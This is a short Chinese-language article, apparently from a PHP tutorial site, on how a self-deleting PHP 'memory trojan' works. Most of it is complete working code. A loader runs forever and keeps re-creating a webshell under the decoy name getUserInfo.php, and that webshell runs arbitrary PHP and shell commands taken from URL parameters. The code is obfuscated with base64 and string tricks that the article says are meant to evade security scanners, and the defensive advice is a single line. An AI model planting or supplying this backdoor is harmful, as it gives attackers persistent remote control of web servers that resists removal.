前言
記憶體木馬,就是記憶體中運行的木馬病毒,沒有程式碼實體。內存木馬有著強烈隱蔽性,排除困難,殺不死(俗稱不死馬)的特徵。
網路安全產業,有著很強的木桶效應。系統對抗黑帽,勝負取決於安全最弱的環節。黑帽對抗白帽,勝負取決於攻擊等級和和毀屍滅跡隱蔽的程度。
正文本文不討論是由於任意檔案上傳還是近來源攻擊讓生產伺服器有了一段可存取的惡意程式碼。
病毒原始碼(很簡單)
<?php //设置脚本不超时 set_time_limit(0);ignore_user_abort(true); //删除文件本体 @unlink(__FILE__); //给木马病毒起一个迷惑性的名字 $file = './getUserInfo.php'; //死循环常驻内存。释放木马文件 while(true) { if(! file_exists($file)) @file_put_contents($file, base64_decode('PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0=')); sleep(60); }
釋放病毒本體
<?php //以下代码实现了eval关键字和system函数的伪装 //eval($_GET['e']); if($e = @$_GET['e']) { $func = @create_function(null, base64_decode('ZXZhbCgi') . $e . base64_decode('Iik7')); $func(); } //system($_GET['s']); if($s = @$_GET['s']) { $f = str_replace('x', '', 'xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx'); $f($s); }
說明
以上關鍵敏感程式碼都做了編碼,用來避開各種安全掃描的免殺。
一旦病毒樣本運行起來,就會刪除掉自身,並長期運行在記憶體當中。
就算被釋放的木馬被識破後刪除,還會產生同樣的檔案。
解決方案
幹掉進程後,刪除釋放的木馬檔案。
推薦:《PHP影片教學》
以上是帶你分析PHP記憶體木馬病毒實現原理的詳細內容。更多資訊請關注PHP中文網其他相關文章!